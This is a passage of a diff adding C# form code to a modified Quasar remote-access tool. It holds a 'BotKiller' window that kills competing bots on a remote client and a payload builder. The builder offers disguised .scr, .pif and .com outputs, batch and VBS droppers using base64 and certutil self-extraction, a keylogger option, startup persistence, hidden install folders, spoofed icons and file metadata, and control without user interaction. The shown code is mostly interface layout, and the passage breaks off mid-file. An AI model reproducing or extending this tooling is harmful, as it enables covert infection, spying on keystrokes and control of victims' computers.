btnScan + // + this.btnScan.Enabled = false; + this.btnScan.Location = new System.Drawing.Point(12, 494); + this.btnScan.Name = "btnScan"; + this.btnScan.Size = new System.Drawing.Size(100, 30); + this.btnScan.TabIndex = 2; + this.btnScan.Text = "Scan Again"; + this.btnScan.UseVisualStyleBackColor = true; + this.btnScan.Click += new System.EventHandler(this.btnScan_Click); + // + // btnClear + // + this.btnClear.Location = new System.Drawing.Point(118, 494); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(100, 30); + this.btnClear.TabIndex = 3; + this.btnClear.Text = "Clear"; + this.btnClear.UseVisualStyleBackColor = true; + this.btnClear.Click += new System.EventHandler(this.btnClear_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(12, 9); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(103, 15); + this.label1.TabIndex = 4; + this.label1.Text = "Detected Threats:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label2.Location = new System.Drawing.Point(12, 290); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(31, 15); + this.label2.TabIndex = 5; + this.label2.Text = "Log:"; + // + // FrmBotKiller + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(884, 536); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Controls.Add(this.btnClear); + this.Controls.Add(this.btnScan); + this.Controls.Add(this.txtLog); + this.Controls.Add(this.lstThreats); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.Name = "FrmBotKiller"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "BotKiller"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBotKiller_FormClosing); + this.Load += new System.EventHandler(this.FrmBotKiller_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.ListView lstThreats; + private System.Windows.Forms.ColumnHeader columnProcess; + private System.Windows.Forms.ColumnHeader columnPID; + private System.Windows.Forms.ColumnHeader columnPath; + private System.Windows.Forms.ColumnHeader columnThreat; + private System.Windows.Forms.ColumnHeader columnMutex; + private System.Windows.Forms.ColumnHeader columnKilled; + private System.Windows.Forms.RichTextBox txtLog; + private System.Windows.Forms.Button btnScan; + private System.Windows.Forms.Button btnClear; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.cs new file mode 100755 index 0000000..096f769 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.cs @@ -0,0 +1,110 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmBotKiller : Form + { + private readonly Client _client; + public static FrmBotKiller Instance { get; private set; } + + public FrmBotKiller(Client client) + { + _client = client; + Instance = this; + InitializeComponent(); + } + + private void FrmBotKiller_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"BotKiller - {_client.EndPoint}"; + AddLog($"Starting BotKiller scan on {_client.EndPoint}...", Color.Blue); + + // Send scan command + _client.Send(new DoBotKiller()); + } + + public void AddResult(Client client, BotKillerResult result) + { + if (client != _client) + return; + + if (InvokeRequired) + { + Invoke(new Action(() => AddResult(client, result))); + return; + } + + if (result.ProcessName == "SCAN_COMPLETE") + { + AddLog(result.Message, Color.Green); + btnScan.Enabled = true; + return; + } + + // Add threat to list + ListViewItem item = new ListViewItem(result.ProcessName); + item.SubItems.Add(result.ProcessId.ToString()); + item.SubItems.Add(result.FilePath); + item.SubItems.Add(result.ThreatType); + item.SubItems.Add(result.Mutex); + item.SubItems.Add(result.Killed ? "Yes" : "No"); + + if (result.Killed) + item.ForeColor = Color.Red; + else + item.ForeColor = Color.Orange; + + lstThreats.Items.Add(item); + + AddLog($"[{result.ThreatType}] {result.ProcessName} (PID: {result.ProcessId}) - {result.Message}", result.Killed ? Color.Red : Color.Orange); + } + + private void AddLog(string message, Color color) + { + if (InvokeRequired) + { + Invoke(new Action(() => AddLog(message, color))); + return; + } + + txtLog.SelectionStart = txtLog.TextLength; + txtLog.SelectionLength = 0; + txtLog.SelectionColor = color; + txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] {message}\r\n"); + txtLog.SelectionColor = txtLog.ForeColor; + txtLog.ScrollToCaret(); + } + + private void btnScan_Click(object sender, EventArgs e) + { + lstThreats.Items.Clear(); + txtLog.Clear(); + btnScan.Enabled = false; + + AddLog($"Starting BotKiller scan on {_client.EndPoint}...", Color.Blue); + _client.Send(new DoBotKiller()); + } + + private void btnClear_Click(object sender, EventArgs e) + { + lstThreats.Items.Clear(); + txtLog.Clear(); + } + + private void FrmBotKiller_FormClosing(object sender, FormClosingEventArgs e) + { + Instance = null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.Designer.cs new file mode 100755 index 0000000..13db979 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.Designer.cs @@ -0,0 +1,1405 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmBuilder + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmBuilder)); + this.btnBuild = new System.Windows.Forms.Button(); + this.btnSaveProfile = new System.Windows.Forms.Button(); + this.btnOpenBuildsFolder = new System.Windows.Forms.Button(); + this.cmbOutputFormat = new System.Windows.Forms.ComboBox(); + this.lblOutputFormat = new System.Windows.Forms.Label(); + this.tooltip = new System.Windows.Forms.ToolTip(this.components); + this.picUAC2 = new System.Windows.Forms.PictureBox(); + this.picUAC1 = new System.Windows.Forms.PictureBox(); + this.rbSystem = new System.Windows.Forms.RadioButton(); + this.rbProgramFiles = new System.Windows.Forms.RadioButton(); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.removeHostToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.builderTabs = new Quasar.Server.Controls.DotNetBarTabControl(); + this.generalPage = new System.Windows.Forms.TabPage(); + this.label3 = new System.Windows.Forms.Label(); + this.chkUnattendedMode = new System.Windows.Forms.CheckBox(); + this.line2 = new Quasar.Server.Controls.Line(); + this.label2 = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.line6 = new Quasar.Server.Controls.Line(); + this.label8 = new System.Windows.Forms.Label(); + this.txtTag = new System.Windows.Forms.TextBox(); + this.label7 = new System.Windows.Forms.Label(); + this.lblTag = new System.Windows.Forms.Label(); + this.txtMutex = new System.Windows.Forms.TextBox(); + this.btnMutex = new System.Windows.Forms.Button(); + this.line5 = new Quasar.Server.Controls.Line(); + this.lblMutex = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.connectionPage = new System.Windows.Forms.TabPage(); + this.numericUpDownPort = new System.Windows.Forms.NumericUpDown(); + this.numericUpDownDelay = new System.Windows.Forms.NumericUpDown(); + this.line3 = new Quasar.Server.Controls.Line(); + this.label4 = new System.Windows.Forms.Label(); + this.line1 = new Quasar.Server.Controls.Line(); + this.label1 = new System.Windows.Forms.Label(); + this.lstHosts = new System.Windows.Forms.ListBox(); + this.btnAddHost = new System.Windows.Forms.Button(); + this.lblMS = new System.Windows.Forms.Label(); + this.lblHost = new System.Windows.Forms.Label(); + this.txtHost = new System.Windows.Forms.TextBox(); + this.lblDelay = new System.Windows.Forms.Label(); + this.lblPort = new System.Windows.Forms.Label(); + this.installationPage = new System.Windows.Forms.TabPage(); + this.chkHideSubDirectory = new System.Windows.Forms.CheckBox(); + this.line7 = new Quasar.Server.Controls.Line(); + this.label10 = new System.Windows.Forms.Label(); + this.line4 = new Quasar.Server.Controls.Line(); + this.label5 = new System.Windows.Forms.Label(); + this.chkInstall = new System.Windows.Forms.CheckBox(); + this.lblInstallName = new System.Windows.Forms.Label(); + this.txtInstallName = new System.Windows.Forms.TextBox(); + this.txtRegistryKeyName = new System.Windows.Forms.TextBox(); + this.lblExtension = new System.Windows.Forms.Label(); + this.lblRegistryKeyName = new System.Windows.Forms.Label(); + this.chkStartup = new System.Windows.Forms.CheckBox(); + this.rbAppdata = new System.Windows.Forms.RadioButton(); + this.chkHide = new System.Windows.Forms.CheckBox(); + this.lblInstallDirectory = new System.Windows.Forms.Label(); + this.lblInstallSubDirectory = new System.Windows.Forms.Label(); + this.lblPreviewPath = new System.Windows.Forms.Label(); + this.txtInstallSubDirectory = new System.Windows.Forms.TextBox(); + this.txtPreviewPath = new System.Windows.Forms.TextBox(); + this.assemblyPage = new System.Windows.Forms.TabPage(); + this.iconPreview = new System.Windows.Forms.PictureBox(); + this.btnBrowseIcon = new System.Windows.Forms.Button(); + this.txtIconPath = new System.Windows.Forms.TextBox(); + this.line8 = new Quasar.Server.Controls.Line(); + this.label11 = new System.Windows.Forms.Label(); + this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox(); + this.txtFileVersion = new System.Windows.Forms.TextBox(); + this.line9 = new Quasar.Server.Controls.Line(); + this.lblProductName = new System.Windows.Forms.Label(); + this.label12 = new System.Windows.Forms.Label(); + this.chkChangeIcon = new System.Windows.Forms.CheckBox(); + this.lblFileVersion = new System.Windows.Forms.Label(); + this.txtProductName = new System.Windows.Forms.TextBox(); + this.txtProductVersion = new System.Windows.Forms.TextBox(); + this.lblDescription = new System.Windows.Forms.Label(); + this.lblProductVersion = new System.Windows.Forms.Label(); + this.txtDescription = new System.Windows.Forms.TextBox(); + this.txtOriginalFilename = new System.Windows.Forms.TextBox(); + this.lblCompanyName = new System.Windows.Forms.Label(); + this.lblOriginalFilename = new System.Windows.Forms.Label(); + this.txtCompanyName = new System.Windows.Forms.TextBox(); + this.txtTrademarks = new System.Windows.Forms.TextBox(); + this.lblCopyright = new System.Windows.Forms.Label(); + this.lblTrademarks = new System.Windows.Forms.Label(); + this.txtCopyright = new System.Windows.Forms.TextBox(); + this.monitoringTab = new System.Windows.Forms.TabPage(); + this.chkHideLogDirectory = new System.Windows.Forms.CheckBox(); + this.txtLogDirectoryName = new System.Windows.Forms.TextBox(); + this.lblLogDirectory = new System.Windows.Forms.Label(); + this.line10 = new Quasar.Server.Controls.Line(); + this.label14 = new System.Windows.Forms.Label(); + this.chkKeylogger = new System.Windows.Forms.CheckBox(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit(); + this.contextMenuStrip.SuspendLayout(); + this.builderTabs.SuspendLayout(); + this.generalPage.SuspendLayout(); + this.connectionPage.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownPort)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).BeginInit(); + this.installationPage.SuspendLayout(); + this.assemblyPage.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit(); + this.monitoringTab.SuspendLayout(); + this.SuspendLayout(); + // + // btnBuild + // + this.btnBuild.ForeColor = System.Drawing.Color.White; + this.btnBuild.Location = new System.Drawing.Point(173, 471); + this.btnBuild.Margin = new System.Windows.Forms.Padding(0); + this.btnBuild.Name = "btnBuild"; + this.btnBuild.Size = new System.Drawing.Size(151, 29); + this.btnBuild.TabIndex = 1; + this.btnBuild.Text = "Build Client"; + this.btnBuild.UseVisualStyleBackColor = true; + this.btnBuild.Click += new System.EventHandler(this.btnBuild_Click); + // + // btnSaveProfile + // + this.btnSaveProfile.ForeColor = System.Drawing.Color.White; + this.btnSaveProfile.Location = new System.Drawing.Point(684, 473); + this.btnSaveProfile.Margin = new System.Windows.Forms.Padding(0); + this.btnSaveProfile.Name = "btnSaveProfile"; + this.btnSaveProfile.Size = new System.Drawing.Size(164, 28); + this.btnSaveProfile.TabIndex = 3; + this.btnSaveProfile.Text = "Save Profile"; + this.btnSaveProfile.UseVisualStyleBackColor = true; + this.btnSaveProfile.Click += new System.EventHandler(this.btnSaveProfile_Click); + // + // btnOpenBuildsFolder + // + this.btnOpenBuildsFolder.ForeColor = System.Drawing.Color.White; + this.btnOpenBuildsFolder.Location = new System.Drawing.Point(9, 471); + this.btnOpenBuildsFolder.Margin = new System.Windows.Forms.Padding(0); + this.btnOpenBuildsFolder.Name = "btnOpenBuildsFolder"; + this.btnOpenBuildsFolder.Size = new System.Drawing.Size(151, 29); + this.btnOpenBuildsFolder.TabIndex = 2; + this.btnOpenBuildsFolder.Text = "Open Builds Folder"; + this.btnOpenBuildsFolder.UseVisualStyleBackColor = true; + this.btnOpenBuildsFolder.Click += new System.EventHandler(this.btnOpenBuildsFolder_Click); + // + // cmbOutputFormat + // + this.cmbOutputFormat.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbOutputFormat.FormattingEnabled = true; + this.cmbOutputFormat.Items.AddRange(new object[] { + ".exe - Standard PE executable", + ".scr - Screensaver, runs as exe by Windows", + ".pif - Program Info File, executed as PE", + ".com - DOS-style, runs as PE on modern Windows", + ".bat - Batch dropper, base64+certutil self-extract", + ".vbs - VBScript dropper, base64+certutil self-extract"}); + this.cmbOutputFormat.Location = new System.Drawing.Point(332, 473); + this.cmbOutputFormat.Name = "cmbOutputFormat"; + this.cmbOutputFormat.Size = new System.Drawing.Size(340, 27); + this.cmbOutputFormat.TabIndex = 51; + // + // lblOutputFormat + // + this.lblOutputFormat.AutoSize = true; + this.lblOutputFormat.Location = new System.Drawing.Point(332, 477); + this.lblOutputFormat.Name = "lblOutputFormat"; + this.lblOutputFormat.Size = new System.Drawing.Size(0, 19); + this.lblOutputFormat.TabIndex = 50; + this.lblOutputFormat.Visible = false; + // + // picUAC2 + // + this.picUAC2.Image = global::Quasar.Server.Properties.Resources.shield; + this.picUAC2.Location = new System.Drawing.Point(454, 110); + this.picUAC2.Margin = new System.Windows.Forms.Padding(4); + this.picUAC2.Name = "picUAC2"; + this.picUAC2.Size = new System.Drawing.Size(16, 20); + this.picUAC2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picUAC2.TabIndex = 32; + this.picUAC2.TabStop = false; + this.tooltip.SetToolTip(this.picUAC2, "Administrator Privileges are required to install the client in System."); + // + // picUAC1 + // + this.picUAC1.Image = global::Quasar.Server.Properties.Resources.shield; + this.picUAC1.Location = new System.Drawing.Point(454, 85); + this.picUAC1.Margin = new System.Windows.Forms.Padding(4); + this.picUAC1.Name = "picUAC1"; + this.picUAC1.Size = new System.Drawing.Size(16, 20); + this.picUAC1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picUAC1.TabIndex = 31; + this.picUAC1.TabStop = false; + this.tooltip.SetToolTip(this.picUAC1, "Administrator Privileges are required to install the client in Program Files."); + // + // rbSystem + // + this.rbSystem.AutoSize = true; + this.rbSystem.Location = new System.Drawing.Point(301, 114); + this.rbSystem.Margin = new System.Windows.Forms.Padding(4); + this.rbSystem.Name = "rbSystem"; + this.rbSystem.Size = new System.Drawing.Size(74, 23); + this.rbSystem.TabIndex = 5; + this.rbSystem.TabStop = true; + this.rbSystem.Text = "System"; + this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System."); + this.rbSystem.UseVisualStyleBackColor = true; + this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // rbProgramFiles + // + this.rbProgramFiles.AutoSize = true; + this.rbProgramFiles.Location = new System.Drawing.Point(301, 85); + this.rbProgramFiles.Margin = new System.Windows.Forms.Padding(4); + this.rbProgramFiles.Name = "rbProgramFiles"; + this.rbProgramFiles.Size = new System.Drawing.Size(113, 23); + this.rbProgramFiles.TabIndex = 4; + this.rbProgramFiles.TabStop = true; + this.rbProgramFiles.Text = "Program Files"; + this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files."); + this.rbProgramFiles.UseVisualStyleBackColor = true; + this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // contextMenuStrip + // + this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.removeHostToolStripMenuItem, + this.clearToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenuHosts"; + this.contextMenuStrip.Size = new System.Drawing.Size(169, 56); + // + // removeHostToolStripMenuItem + // + this.removeHostToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; + this.removeHostToolStripMenuItem.Name = "removeHostToolStripMenuItem"; + this.removeHostToolStripMenuItem.Size = new System.Drawing.Size(168, 26); + this.removeHostToolStripMenuItem.Text = "Remove host"; + this.removeHostToolStripMenuItem.Click += new System.EventHandler(this.removeHostToolStripMenuItem_Click); + // + // clearToolStripMenuItem + // + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom; + this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; + this.clearToolStripMenuItem.Size = new System.Drawing.Size(168, 26); + this.clearToolStripMenuItem.Text = "Clear all"; + this.clearToolStripMenuItem.Click += new System.EventHandler(this.clearToolStripMenuItem_Click); + // + // builderTabs + // + this.builderTabs.Alignment = System.Windows.Forms.TabAlignment.Left; + this.builderTabs.Controls.Add(this.generalPage); + this.builderTabs.Controls.Add(this.connectionPage); + this.builderTabs.Controls.Add(this.installationPage); + this.builderTabs.Controls.Add(this.assemblyPage); + this.builderTabs.Controls.Add(this.monitoringTab); + this.builderTabs.Dock = System.Windows.Forms.DockStyle.Top; + this.builderTabs.ItemSize = new System.Drawing.Size(44, 136); + this.builderTabs.Location = new System.Drawing.Point(0, 0); + this.builderTabs.Margin = new System.Windows.Forms.Padding(4); + this.builderTabs.Multiline = true; + this.builderTabs.Name = "builderTabs"; + this.builderTabs.SelectedIndex = 0; + this.builderTabs.Size = new System.Drawing.Size(957, 467); + this.builderTabs.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; + this.builderTabs.TabIndex = 0; + // + // generalPage + // + this.generalPage.BackColor = System.Drawing.Color.Transparent; + this.generalPage.Controls.Add(this.label3); + this.generalPage.Controls.Add(this.chkUnattendedMode); + this.generalPage.Controls.Add(this.line2); + this.generalPage.Controls.Add(this.label2); + this.generalPage.Controls.Add(this.label9); + this.generalPage.Controls.Add(this.line6); + this.generalPage.Controls.Add(this.label8); + this.generalPage.Controls.Add(this.txtTag); + this.generalPage.Controls.Add(this.label7); + this.generalPage.Controls.Add(this.lblTag); + this.generalPage.Controls.Add(this.txtMutex); + this.generalPage.Controls.Add(this.btnMutex); + this.generalPage.Controls.Add(this.line5); + this.generalPage.Controls.Add(this.lblMutex); + this.generalPage.Controls.Add(this.label6); + this.generalPage.ForeColor = System.Drawing.Color.White; + this.generalPage.Location = new System.Drawing.Point(140, 4); + this.generalPage.Margin = new System.Windows.Forms.Padding(4); + this.generalPage.Name = "generalPage"; + this.generalPage.Padding = new System.Windows.Forms.Padding(4); + this.generalPage.Size = new System.Drawing.Size(813, 459); + this.generalPage.TabIndex = 4; + this.generalPage.Text = "Basic Settings"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(21, 268); + this.label3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(420, 38); + this.label3.TabIndex = 24; + this.label3.Text = "Activating the unattended mode allows remote control of the client\r\nwithout user " + + "interaction."; + // + // chkUnattendedMode + // + this.chkUnattendedMode.AutoSize = true; + this.chkUnattendedMode.Location = new System.Drawing.Point(25, 315); + this.chkUnattendedMode.Margin = new System.Windows.Forms.Padding(4); + this.chkUnattendedMode.Name = "chkUnattendedMode"; + this.chkUnattendedMode.Size = new System.Drawing.Size(185, 23); + this.chkUnattendedMode.TabIndex = 23; + this.chkUnattendedMode.Text = "Enable unattended mode"; + this.chkUnattendedMode.UseVisualStyleBackColor = true; + this.chkUnattendedMode.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // line2 + // + this.line2.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line2.Location = new System.Drawing.Point(144, 245); + this.line2.Margin = new System.Windows.Forms.Padding(4); + this.line2.Name = "line2"; + this.line2.Size = new System.Drawing.Size(338, 16); + this.line2.TabIndex = 22; + this.line2.TabStop = false; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(10, 245); + this.label2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(121, 19); + this.label2.TabIndex = 21; + this.label2.Text = "Unattended mode"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(21, 118); + this.label9.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(438, 38); + this.label9.TabIndex = 5; + this.label9.Text = "A unique mutex ensures that only one instance of the client is running\r\non the sa" + + "me system."; + // + // line6 + // + this.line6.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line6.Location = new System.Drawing.Point(106, 98); + this.line6.Margin = new System.Windows.Forms.Padding(4); + this.line6.Name = "line6"; + this.line6.Size = new System.Drawing.Size(375, 16); + this.line6.TabIndex = 20; + this.line6.TabStop = false; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(8, 98); + this.label8.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(98, 19); + this.label8.TabIndex = 4; + this.label8.Text = "Process Mutex"; + // + // txtTag + // + this.txtTag.Location = new System.Drawing.Point(162, 50); + this.txtTag.Margin = new System.Windows.Forms.Padding(4); + this.txtTag.Name = "txtTag"; + this.txtTag.Size = new System.Drawing.Size(318, 26); + this.txtTag.TabIndex = 3; + this.txtTag.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(21, 25); + this.label7.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(276, 19); + this.label7.TabIndex = 1; + this.label7.Text = "You can choose a tag to identify your client."; + // + // lblTag + // + this.lblTag.AutoSize = true; + this.lblTag.Location = new System.Drawing.Point(21, 54); + this.lblTag.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTag.Name = "lblTag"; + this.lblTag.Size = new System.Drawing.Size(71, 19); + this.lblTag.TabIndex = 2; + this.lblTag.Text = "Client Tag:"; + // + // txtMutex + // + this.txtMutex.Location = new System.Drawing.Point(162, 162); + this.txtMutex.Margin = new System.Windows.Forms.Padding(4); + this.txtMutex.MaxLength = 64; + this.txtMutex.Name = "txtMutex"; + this.txtMutex.Size = new System.Drawing.Size(315, 26); + this.txtMutex.TabIndex = 7; + this.txtMutex.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // btnMutex + // + this.btnMutex.Location = new System.Drawing.Point(328, 198); + this.btnMutex.Margin = new System.Windows.Forms.Padding(4); + this.btnMutex.Name = "btnMutex"; + this.btnMutex.Size = new System.Drawing.Size(151, 29); + this.btnMutex.TabIndex = 8; + this.btnMutex.Text = "Random Mutex"; + this.btnMutex.UseVisualStyleBackColor = true; + this.btnMutex.Click += new System.EventHandler(this.btnMutex_Click); + // + // line5 + // + this.line5.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line5.Location = new System.Drawing.Point(140, 6); + this.line5.Margin = new System.Windows.Forms.Padding(4); + this.line5.Name = "line5"; + this.line5.Size = new System.Drawing.Size(339, 16); + this.line5.TabIndex = 15; + this.line5.TabStop = false; + // + // lblMutex + // + this.lblMutex.AutoSize = true; + this.lblMutex.Location = new System.Drawing.Point(21, 166); + this.lblMutex.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblMutex.Name = "lblMutex"; + this.lblMutex.Size = new System.Drawing.Size(51, 19); + this.lblMutex.TabIndex = 6; + this.lblMutex.Text = "Mutex:"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(8, 6); + this.label6.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(127, 19); + this.label6.TabIndex = 0; + this.label6.Text = "Client Identification"; + // + // connectionPage + // + this.connectionPage.BackColor = System.Drawing.SystemColors.Window; + this.connectionPage.Controls.Add(this.numericUpDownPort); + this.connectionPage.Controls.Add(this.numericUpDownDelay); + this.connectionPage.Controls.Add(this.line3); + this.connectionPage.Controls.Add(this.label4); + this.connectionPage.Controls.Add(this.line1); + this.connectionPage.Controls.Add(this.label1); + this.connectionPage.Controls.Add(this.lstHosts); + this.connectionPage.Controls.Add(this.btnAddHost); + this.connectionPage.Controls.Add(this.lblMS); + this.connectionPage.Controls.Add(this.lblHost); + this.connectionPage.Controls.Add(this.txtHost); + this.connectionPage.Controls.Add(this.lblDelay); + this.connectionPage.Controls.Add(this.lblPort); + this.connectionPage.ForeColor = System.Drawing.Color.White; + this.connectionPage.Location = new System.Drawing.Point(140, 4); + this.connectionPage.Margin = new System.Windows.Forms.Padding(4); + this.connectionPage.Name = "connectionPage"; + this.connectionPage.Padding = new System.Windows.Forms.Padding(4); + this.connectionPage.Size = new System.Drawing.Size(525, 459); + this.connectionPage.TabIndex = 0; + this.connectionPage.Text = "Connection Settings"; + // + // numericUpDownPort + // + this.numericUpDownPort.Location = new System.Drawing.Point(318, 64); + this.numericUpDownPort.Margin = new System.Windows.Forms.Padding(4); + this.numericUpDownPort.Maximum = new decimal(new int[] { + 65535, + 0, + 0, + 0}); + this.numericUpDownPort.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.numericUpDownPort.Name = "numericUpDownPort"; + this.numericUpDownPort.Size = new System.Drawing.Size(161, 26); + this.numericUpDownPort.TabIndex = 3; + this.numericUpDownPort.Value = new decimal(new int[] { + 1, + 0, + 0, + 0}); + // + // numericUpDownDelay + // + this.numericUpDownDelay.Location = new System.Drawing.Point(345, 222); + this.numericUpDownDelay.Margin = new System.Windows.Forms.Padding(4); + this.numericUpDownDelay.Maximum = new decimal(new int[] { + 600000, + 0, + 0, + 0}); + this.numericUpDownDelay.Name = "numericUpDownDelay"; + this.numericUpDownDelay.Size = new System.Drawing.Size(100, 26); + this.numericUpDownDelay.TabIndex = 10; + this.numericUpDownDelay.Value = new decimal(new int[] { + 5000, + 0, + 0, + 0}); + this.numericUpDownDelay.ValueChanged += new System.EventHandler(this.HasChangedSetting); + // + // line3 + // + this.line3.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line3.Location = new System.Drawing.Point(119, 199); + this.line3.Margin = new System.Windows.Forms.Padding(4); + this.line3.Name = "line3"; + this.line3.Size = new System.Drawing.Size(362, 16); + this.line3.TabIndex = 18; + this.line3.TabStop = false; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(8, 199); + this.label4.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(110, 19); + this.label4.TabIndex = 17; + this.label4.Text = "Reconnect Delay"; + // + // line1 + // + this.line1.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line1.Location = new System.Drawing.Point(130, 6); + this.line1.Margin = new System.Windows.Forms.Padding(4); + this.line1.Name = "line1"; + this.line1.Size = new System.Drawing.Size(351, 16); + this.line1.TabIndex = 13; + this.line1.TabStop = false; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(8, 6); + this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(118, 19); + this.label1.TabIndex = 14; + this.label1.Text = "Connection Hosts"; + // + // lstHosts + // + this.lstHosts.ContextMenuStrip = this.contextMenuStrip; + this.lstHosts.FormattingEnabled = true; + this.lstHosts.ItemHeight = 19; + this.lstHosts.Location = new System.Drawing.Point(25, 26); + 